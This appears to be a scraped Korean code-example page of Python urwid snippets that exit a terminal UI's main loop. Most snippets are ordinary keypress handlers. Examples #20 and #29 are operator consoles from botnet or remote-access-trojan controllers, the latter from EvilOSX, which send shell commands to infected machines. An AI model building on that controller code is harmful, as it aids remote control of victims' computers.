예제 #1
0
 def keypress(self, size, key):
     if key == self.__quit:
         self.save()
         raise ExitMainLoop()
     elif key == self.__abort:
         raise ExitMainLoop()
     elif key == self.__save:
         self.save()
     else:
         return super().keypress(size, key)
예제 #2
0
 def keypress(self, size, key):
     if key == 'meta q':
         self.save()
         raise ExitMainLoop()
     elif key == 'meta x':
         self.abort()
         raise ExitMainLoop()
     elif key == 'meta s':
         self.save()
     else:
         return super().keypress(size, key)
예제 #3
0
    def _handle_global_input(self, key):
        if self._reading_command:
            if key == 'esc':
                self._finish_reading_command()
            elif key == 'enter':
                command = self._finish_reading_command()
                log.info(f"Commands ({command}) are not implemented yet.")
            return

        if key == 'esc':
            raise ExitMainLoop()
        elif key == ':' or key == '-':
            self._start_reading_command()
        elif key == 'ctrl s':
            self._wpctrl.save_updates()
        elif key == 'x':
            self._scrctrl.cycle_collections()
        elif key in _shift_number_keys:
            current_screen_idx = self._root.focus.focus._screen.idx
            key_number = _shift_number_keys[key]
            self._scrctrl.move_wallpaper(current_screen_idx, key_number)
        else:
            log.info("unhandled key: '%s'", key)
            return
        for screen_widget in self._screens:
            screen_widget.update()
        return True
예제 #4
0
 def unhandled(key):
     vim_map = {'h': 'left', 'j': 'down', 'k': 'up', 'l': 'right'}
     if key in vim_map.keys():
         list_box.keypress((0, 1), vim_map[key])
     elif key in ['left', 'right']:
         pass
     elif key in ['esc', 'q']:
         raise ExitMainLoop()
예제 #5
0
파일: tui.py 프로젝트: asdyxcyxc/fuzzinator
def execute(args=None, parser=None):
    parser = build_parser(parent=parser)
    parser.add_argument('--force-encoding', metavar='NAME', default=None, choices=['utf-8', 'ascii'],
                        help='force text encoding used for TUI widgets (%(choices)s; default: autodetect)')
    parser.add_argument('--utf8', '--utf-8', dest='force_encoding', action='store_const', const='utf-8', default=argparse.SUPPRESS,
                        help='force UTF-8 encoding (alias for --force-encoding=%(const)s)')
    parser.add_argument('--log-file', metavar='FILE',
                        help='redirect stderr (instead of /dev/null; for debugging purposes)')
    parser.add_argument('-s', '--style', metavar='FILE',
                        help='alternative style file for TUI')
    arguments = parser.parse_args(args)
    error_msg = process_args(arguments)
    if error_msg:
        parser.error(error_msg)

    # Redirect or suppress errors to spare tui from superfluous messages.
    if arguments.log_file:
        sys.stdout = open(os.devnull, 'w')
        sys.stderr = open(arguments.log_file, 'w')
    else:
        sys.stdout = open(os.devnull, 'w')
        sys.stderr = open(os.devnull, 'w')

    if arguments.style:
        raw_style = json.load(arguments.style)
    else:
        raw_style = json.loads(pkgutil.get_data(__package__, os.path.join('resources', 'default_style.json')).decode(encoding='utf-8'))
    style = load_style(raw_style)

    if arguments.force_encoding:
        util.set_encoding(arguments.force_encoding)

    controller = Controller(config=arguments.config)
    tui = Tui(controller, style=style)
    controller.listener += TuiListener(tui.pipe, tui.events, tui.lock)
    fuzz_process = Process(target=controller.run, args=(), kwargs={'max_cycles': arguments.max_cycles})

    try:
        fuzz_process.start()
        tui.loop.run()
    except KeyboardInterrupt:
        # No need to handle CTRL+C as SIGINT is sent by the terminal to all
        # (sub)processes.
        pass
    except Exception as e:
        # Handle every kind of TUI exceptions except for KeyboardInterrupt.
        # SIGINT will trigger a KeyboardInterrupt exception in controller,
        # thus allowing it to perform proper cleanup.
        os.kill(fuzz_process.pid, signal.SIGINT)
        logger.error('Unhandled exception in TUI.', exc_info=e)
    else:
        # Handle normal exit after 'Q' or F10. SIGINT will trigger a
        # KeyboardInterrupt exception in controller, thus allowing it to
        # perform proper cleanup.
        os.kill(fuzz_process.pid, signal.SIGINT)
    finally:
        raise ExitMainLoop()
예제 #6
0
def button_power(key):
    if not game_over:
        if key in ["m", "M", "ь", "Ь"]:
            if button_power.overlay == 0:
                # нарисуем карту
                show_map(create_map())
            else:
                main_widget.original_widget = box
                button_power.overlay = 0

        # записи на листах
        elif key in ["c", "C", "с", "С"]:
            body = create_copybook()
            if body:
                if button_power.overlay == 0:
                    show_copybook(body)
                else:
                    main_widget.original_widget = box
                    button_power.overlay = 0

        # блокируем нажатия при включенной карте
        if button_power.overlay == 0:
            #all_directions = game.relative_directions()[0]
            if key == "esc":
                raise ExitMainLoop()
            elif key in ("down", "up", "left", "right"):
                #move(all_directions[key])
                move(key)

            elif key in ("q", "Q", "Й", "й"):
                if game.has_sheet > 0:
                    game.use_sheet = True

            # test
            '''
			elif key == "f":
				import numpy as np
			
				if game.mazeclass.objects["way_out"] in game.maze:
					for r, c in game.mazeclass.walk:
						game.maze[r, c] = game.mazeclass.objects["path"]

				game.mazeclass.find_way(start_x=game.col, start_y=game.row)
				for r, c in game.mazeclass.walk:
					game.maze[r, c] = game.mazeclass.objects["way_out"]
			'''

            if game.chalk > 0:
                if key == "ctrl up":
                    mark("up")
                elif key == "ctrl down":
                    mark("down")
                elif key == "ctrl left":
                    mark("left")
                elif key == "ctrl right":
                    mark("right")
예제 #7
0
def execute(args=None, parser=None):
    parser = arg_parser.build_parser(parent=parser)
    parser.add_argument(
        '--force-encoding',
        default=None,
        choices=['utf-8', 'ascii'],
        help='force text encoding used for TUI widgets (instead of autodetect)'
    )
    parser.add_argument(
        '--log-file',
        metavar='FILE',
        help='redirect stderr (instead of /dev/null; for debugging purposes)')
    parser.add_argument('-s',
                        '--style',
                        metavar='FILE',
                        help='alternative style file for TUI')
    arguments = parser.parse_args(args)

    config = configparser.ConfigParser(
        interpolation=configparser.ExtendedInterpolation())
    config.read(arguments.config)

    # Redirect or suppress errors to spare tui from superfluous messages.
    if arguments.log_file:
        sys.stdout = open(os.devnull, 'w')
        sys.stderr = open(arguments.log_file, 'w')
    else:
        sys.stdout = open(os.devnull, 'w')
        sys.stderr = open(os.devnull, 'w')

    if arguments.style:
        raw_style = json.load(arguments.style)
    else:
        raw_style = json.loads(
            pkgutil.get_data(
                __package__,
                os.path.join('resources',
                             'default_style.json')).decode(encoding='utf-8'))
    style = load_style(raw_style)

    if arguments.force_encoding:
        util.set_encoding(arguments.force_encoding)

    controller = Controller(config=config)
    tui = Tui(controller, style=style)
    controller.listener = TuiListener(tui.pipe, tui.events, tui.lock)
    fuzz_process = Process(target=controller.run, args=())

    try:
        fuzz_process.start()
        tui.loop.run()
    finally:
        controller.kill_child_processes()
        fuzz_process.terminate()
        raise ExitMainLoop()
예제 #8
0
def execute(arguments):
    # Redirect or suppress errors to spare tui from superfluous messages.
    if arguments.log_file:
        sys.stdout = open(os.devnull, 'w')
        sys.stderr = open(arguments.log_file, 'w')
    else:
        sys.stdout = open(os.devnull, 'w')
        sys.stderr = open(os.devnull, 'w')

    if arguments.style:
        raw_style = json.load(arguments.style)
    else:
        raw_style = json.loads(
            pkgutil.get_data(
                __package__,
                os.path.join('resources',
                             'default_style.json')).decode(encoding='utf-8'))
    style = load_style(raw_style)

    if arguments.force_encoding:
        util.set_encoding(arguments.force_encoding)

    controller = Controller(config=arguments.config)
    tui = Tui(controller, style=style)
    controller.listener += TuiListener(tui.pipe, tui.events, tui.lock)
    fuzz_process = Process(target=controller.run,
                           args=(),
                           kwargs={'max_cycles': arguments.max_cycles})

    try:
        fuzz_process.start()
        tui.loop.run()
    except KeyboardInterrupt:
        # No need to handle CTRL+C as SIGINT is sent by the terminal to all
        # (sub)processes.
        pass
    except Exception as e:
        # Handle every kind of TUI exceptions except for KeyboardInterrupt.
        # SIGINT will trigger a KeyboardInterrupt exception in controller,
        # thus allowing it to perform proper cleanup.
        os.kill(fuzz_process.pid, signal.SIGINT)
        logger.error('Unhandled exception in TUI.', exc_info=e)
    else:
        # Handle normal exit after 'Q' or F10. SIGINT will trigger a
        # KeyboardInterrupt exception in controller, thus allowing it to
        # perform proper cleanup.
        os.kill(fuzz_process.pid, signal.SIGINT)
    finally:
        raise ExitMainLoop()
예제 #9
0
    def keypress(self, size: int, key: str):
        assert self.action_handler

        if key == 'q':
            raise ExitMainLoop()
        if key in ('down', 'j'):
            return super().keypress(size, 'down')
        if key in ('up', 'k'):
            return super().keypress(size, 'up')
        try:
            if not self.action_handler.handle_key_for_started_unary_action(
                    key):
                return super().keypress(size, key)
        except ActionNotInProgress:
            self.action_handler.start_action(key)
예제 #10
0
def keystroke(key):
    global string, cursor
    if key in ('enter', 'ctrl d'):
        raise ExitMainLoop()
    elif key == 'backspace' and string:
        string.pop(cursor - 1)
        if cursor > 0:
            cursor -= 1
    elif key == 'delete' and string and cursor < len(string):
        string.pop(cursor)
    elif key == 'left' and cursor > 0:
        cursor -= 1
    elif key == 'right' and cursor < len(string):
        cursor += 1
    elif len(key) > 1:
        pass
    else:
        string.insert(cursor, key)
        cursor += 1
    if len(string) > 1:
        text.set_text(str_to_hilbert(string, cursor))
    else:
        text.set_text(''.join(string))
예제 #11
0
    def keypress(self, size, key):
        if key == 'enter':
            command = self.get_edit_text()
            if command:
                try:
                    result, target_info = process_cli_command(
                        self._server_conn, command)
                except QuitDebuggerException:
                    logger.debug("Exiting debugger...")
                    raise ExitMainLoop()
                if target_info:
                    # TODO: Should we clear all views if we don't have a target_info?
                    self._main_screen.update_views(target_info)

            self._history.append(f"> {command}")
            if command and result:
                self._history.append(result)
            if len(self._history) > INPUT_WIDGET_HEIGHT:
                del self._history[0:len(self._history) - INPUT_WIDGET_HEIGHT]
            self.set_caption('\n'.join(self._history) + '\n> ')
            self.set_edit_text('')

        else:
            return super().keypress(size, key)
예제 #12
0
파일: tui.py 프로젝트: m4rm0k/fuzzinator
 def exit_handler(key):
     if key in ('q', 'Q', 'f10'):
         raise ExitMainLoop()
예제 #13
0
 def _quit():
     raise ExitMainLoop()
예제 #14
0
def start_game(buttom):
    raise ExitMainLoop()
예제 #15
0
 def keypress(self, size, key):
     if key == "q":
         raise ExitMainLoop()
예제 #16
0
def exit_on_q(key):
    if key == 'Q':
        raise ExitMainLoop()
예제 #17
0
 def exit(self):
     raise ExitMainLoop()
예제 #18
0
파일: top.py 프로젝트: mfkiwl/pstack
 def on_key(key):
     if key in ('q', 'Q'):
         raise ExitMainLoop()
예제 #19
0
 def _stop(key):
     if key in ['q', 'Q']:
         raise ExitMainLoop()
예제 #20
0
    def _process_command(self, command: str):
        """Processes command input."""
        if command.strip() == "":
            return

        self._view.output_separator()

        if command == "help":
            self._view.output(
                "Commands other than the ones listed below will be run on the connected "
                "bot as a shell command.", "info")
            self._view.output("help                 -  Show this help menu.")
            self._view.output(
                "bots                 -  Show the amount of available bots.")
            self._view.output(
                "connect <id>         -  Start interacting with the bot (required before using \"use\")."
            )
            self._view.output(
                "modules              -  Show a list of available modules.")
            self._view.output(
                "use <module_name>    -  Run the module on the connected bot.")
            self._view.output(
                "stop <module_name>   -  Ask the module to stop executing.")
            self._view.output(
                "setall <module_name> -  Set the module which will be run on every bot."
            )
            self._view.output(
                "stopall              -  Clear the globally set module.")
            self._view.output("clear                -  Clear the screen.")
            self._view.output(
                "exit/q/quit          -  Close the server and exit.")
        elif command.startswith("bots"):
            if command == "bots":
                bots = self._model.get_bots(limit=10)

                if not bots:
                    self._view.output("There are no available bots.",
                                      "attention")
                else:
                    self._view.output(
                        "No page specified, showing the first page.", "info")
                    self._view.output(
                        "Use \"bots <page>\" to see a different page (each page is 10 results).",
                        "info")

                    for i, bot in enumerate(self._model.get_bots(limit=10)):
                        self._view.output(
                            "{} = \"{}@{}\" (last seen: {})".format(
                                str(i), bot.username, bot.hostname,
                                strftime("%a, %b %d @ %H:%M:%S",
                                         localtime(bot.last_online))))
            else:
                try:
                    # Show the bots of the given "page".
                    page_number = int(command.split(" ")[1])

                    if page_number <= 0:
                        page_number = 1

                    skip_amount = (page_number * 10) - 10
                    bots = self._model.get_bots(limit=10,
                                                skip_amount=skip_amount)

                    if not bots:
                        self._view.output(
                            "There are no available bots on this page.",
                            "attention")
                    else:
                        self._view.output(
                            "Showing bots on page {}.".format(page_number),
                            "info")

                        for i, bot in enumerate(bots):
                            self._view.output(
                                "{} = \"{}@{}\" (last seen: {})".format(
                                    str(i), bot.username, bot.hostname,
                                    strftime("%a, %b %d @ %H:%M:%S",
                                             localtime(bot.last_online))))
                except ValueError:
                    self._view.output("Invalid page number.", "attention")
        elif command.startswith("connect"):
            try:
                specified_id = int(command.split(" ")[1])
                self._connected_bot = self._model.get_bots()[specified_id]

                self._view.output(
                    "Connected to \"%s@%s\", ready to send commands." %
                    (self._connected_bot.username,
                     self._connected_bot.hostname), "info")
                self._view.set_footer_text("Command ({}@{}, {}): ".format(
                    self._connected_bot.username, self._connected_bot.hostname,
                    self._connected_bot.local_path))
            except (IndexError, ValueError):
                self._view.output("Invalid bot ID (see \"bots\").",
                                  "attention")
                self._view.output("Usage: connect <ID>", "attention")
        elif command == "modules":
            self._view.output("Type \"use <module_name>\" to use a module.",
                              "info")

            for module_name in modules.get_names():
                try:
                    module = modules.get_module(module_name)

                    if not module:
                        module = modules.load_module(module_name, self._view,
                                                     self._model)

                    self._view.output("{:16} -  {}".format(
                        module_name,
                        module.get_info()["Description"]))
                except AttributeError as ex:
                    self._view.output(str(ex), "attention")
        elif command.startswith("useall"):
            if command == "useall":
                self._view.output("Usage: useall <module_name>", "attention")
                self._view.output(
                    "Type \"modules\" to get a list of available modules.",
                    "attention")
            else:
                module_name = command.split(" ")[1]

                module_thread = Thread(target=self._run_module,
                                       args=(module_name, True))
                module_thread.daemon = True
                module_thread.start()
        elif command == "clear":
            self._view.clear()
        elif command in ["exit", "q", "quit"]:
            raise ExitMainLoop()
        else:
            # Commands that require a connected bot.
            if not self._connected_bot:
                self._view.output(
                    "You must be connected to a bot to perform this action.",
                    "attention")
                self._view.output("Type \"connect <ID>\" to connect to a bot.",
                                  "attention")
            else:
                if command.startswith("use"):
                    if command == "use":
                        self._view.output("Usage: use <module_name>",
                                          "attention")
                        self._view.output(
                            "Type \"modules\" to get a list of available modules.",
                            "attention")
                    else:
                        module_name = command.split(" ")[1]

                        module_thread = Thread(target=self._run_module,
                                               args=(module_name, ))
                        module_thread.daemon = True
                        module_thread.start()
                else:
                    # Regular shell command.
                    self._view.output("Executing command: {}".format(command),
                                      "info")
                    self._model.add_command(
                        self._connected_bot.uid,
                        Command(CommandType.SHELL, command.encode()))
예제 #21
0
파일: error.py 프로젝트: johnsca/conjure-up
 def cancel(self, button):
     raise ExitMainLoop()
예제 #22
0
 def _exit_loop(self, *args, **kwargs):
     raise ExitMainLoop()
예제 #23
0
 def exit(p):
     if p is 'q':
         raise ExitMainLoop()
예제 #24
0
 def quit(self, *kargs):
     raise ExitMainLoop()
예제 #25
0
def quit(*args, **kwargs):
    raise ExitMainLoop()
예제 #26
0
 def do_quit(self, args):
     raise ExitMainLoop()
예제 #27
0
 def exit(key):
     if key in ('q', 'Q'):
         raise ExitMainLoop()
예제 #28
0
    def cmd_dispatch(command):
        write(f"dispatching {repr(command)}")
        nonlocal bound_channel
        if not ws:
            write('Not connected')
            return
        parts = command.split()

        if not parts:
            print_help()

        command_part = parts[0].lower()
        if command_part[0] == '/':
            command_part = command_part[1:]
        args = parts[1:]
        if command_part == 'help':
            print_help()
        elif command_part == 'sendcmd':
            if not bound_channel:
                write(
                    'there is not a bound channel! use `/channel <channel>` to bind one!'
                )
            elif not args:
                write(
                    'you must provide a command to run to /sendcmd, ex: /sendcmd help'
                )
            else:
                loop.create_task(
                    ws.send(
                        json.dumps({
                            'type': RUN_COMMAND,
                            'channel': bound_channel,
                            'command': args[0],
                            'args': args[1:],
                            'silent': True,
                        })))
        elif command_part == 'chat':
            if not bound_channel:
                write(
                    'there is not a bound channel! use `/channel <channel>` to bind one!'
                )
            else:
                loop.create_task(
                    ws.send(
                        json.dumps({
                            'type': SEND_PRIVMSG,
                            'channel': bound_channel,
                            'message': ' '.join(args),
                        })))

        elif command_part == 'channel':
            if not channels:
                write(
                    'the bot is not currently in any channels, please have the bot join at least one than relaunch this console'
                )
            elif not args:
                write(
                    f'the bot is currently in these channels: {", ".join(channels)}\ndo `/channel <channel>` to bind this channel to one'
                )
            elif args[0] not in channels:
                write(f'the bot is not currently in "{args[0]}"')
            else:
                bound_channel = args[0]
        elif command_part == 'quit':
            raise ExitMainLoop()

        else:
            write(f"Unrecognized command {repr(command_part)}")
예제 #29
0
    def _process_command(self, command):
        """Processes command input."""
        self._view.output_separator()

        if command == "help":
            self._view.output("help             -   Show this help menu.")
            self._view.output("clients          -   Show a list of clients.")
            self._view.output("connect <ID>     -   Connect to the client.")
            self._view.output(
                "modules          -   Show a list of available modules.")
            self._view.output(
                "use <module>     -   Run the module on the connected client.")
            self._view.output(
                "useall <module>  -   Run the module on every client.")
            self._view.output(
                "kill <task_name> -   Kills the running task (background module)."
            )
            if not self._current_client:
                self._view.output(
                    "exit/q/quit      -   Close the server and exit.")
            else:
                self._view.output(
                    "exit/q/quit      -   Stop interacting with client.")
                self._view.output(
                    "Any other command will be run on the client.")
        elif command == "clients":
            clients = self._client_model.get_clients()

            if not clients:
                self._view.output("No available clients.", "attention")
            else:
                self._view.output(
                    str(len(clients)) + " client(s) available:", "info")

                for i, client in enumerate(clients):
                    self._view.output("    %s = %s@%s (%s)" %
                                      (str(i), client.username,
                                       client.hostname, client.remote_ip))
        elif command.startswith("connect"):
            try:
                specified_id = int(command.split(" ")[1])
                self._current_client = self._client_model.get_clients(
                )[specified_id]

                self._view.output(
                    "Connected to \"%s@%s\", ready to send commands." %
                    (self._current_client.username,
                     self._current_client.hostname), "info")
                self._view.set_footer_text("Command ({}@{}): ".format(
                    self._current_client.username,
                    self._current_client.hostname))
            except (IndexError, ValueError):
                self._view.output("Invalid client ID (see \"clients\").",
                                  "attention")
                self._view.output("Usage: connect <ID>", "attention")
        elif command == "modules":
            modules = self._module_factory.get_modules()

            if not modules:
                self._view.output(
                    "Failed to find modules, please restart and make sure you are running "
                    "the start command in the correct directory (in EvilOSX/).",
                    "attention")
                self._view.output(
                    "Server start command: python server/server.py",
                    "attention")
            else:
                special_modules = {
                    # Special modules used by loaders
                    "remove_client":
                    "Removes EvilOSX from the client.",
                    "update_client":
                    "Updates the client to a newer version of EvilOSX."
                }

                for key, value in special_modules.items():
                    self._view.output("{0: <18} -   {1}".format(key, value))

                for module_name, module_imp in modules.items():
                    self._view.output("{0: <18} -   {1}".format(
                        module_name,
                        module_imp.get_info()["Description"]))
        elif command.startswith("useall"):
            module_name = command.replace("useall ", "").strip()

            if module_name == "useall":
                self._view.output("Invalid module name (see \"modules\").",
                                  "attention")
                self._view.output("Usage: useall <module>", "attention")
            else:
                if not self._client_model.has_clients():
                    self._view.output("No available clients", "attention")
                else:
                    self._run_module(module_name, mass_execute=True)
        elif command == "clear":
            self._view.clear()
        elif command in ["q", "quit", "exit"] and not self._current_client:
            self._client_model.close()
            raise ExitMainLoop()
        else:
            # Commands that require an active connection.
            if not self._current_client:
                self._view.output(
                    "Not connected to a client (see \"connect\").",
                    "attention")
            else:
                if (time() - float(self._current_client.last_online)) >= 60:
                    self._view.output(
                        "The client is idle and will take longer to respond.",
                        "attention")

                if command in ["q", "quit", "exit"]:
                    self._view.output(
                        "Disconnected from \"%s@%s\"." %
                        (self._current_client.username,
                         self._current_client.hostname), "info")

                    self._current_client = None
                    self._view.set_footer_text("Command: ")
                elif command.startswith("use"):
                    # Execute a module
                    module_name = command.replace("use ", "").strip()

                    if module_name == "use":
                        self._view.output(
                            "Invalid module name (see \"modules\").",
                            "attention")
                        self._view.output("Usage: use <module>", "attention")
                    else:
                        self._run_module(module_name)
                elif command.startswith("kill"):
                    # Kills a running task.
                    task_name = command.replace("kill ", "").strip()

                    if task_name == "kill":
                        self._view.output(
                            "Invalid task name (see \"modules\").",
                            "attention")
                        self._view.output("Usage: kill <task_name>",
                                          "attention")
                    elif task_name.isdigit():
                        # Let the user kill regular processes.
                        self._view.output(
                            "Killing system process instead of module.",
                            "attention")

                        self._client_model.send_command(
                            Command(
                                self._current_client.id,
                                base64.b64encode(
                                    ("kill " + task_name).encode()).decode()))
                    else:
                        self._view.output(
                            "Attempting to kill task \"{}\"...".format(
                                task_name), "info")

                        self._client_model.send_command(
                            Command(
                                self._current_client.id,
                                base64.b64encode(
                                    "kill_task".encode()).decode(), task_name))
                else:
                    # Send a system command.
                    self._view.output("Running command: " + command, "info")

                    self._client_model.send_command(
                        Command(self._current_client.id,
                                base64.b64encode(command.encode()).decode()))
예제 #30
0
 def _ok_button(self):
     raise ExitMainLoop({'pw': self.inputbox_a.ge})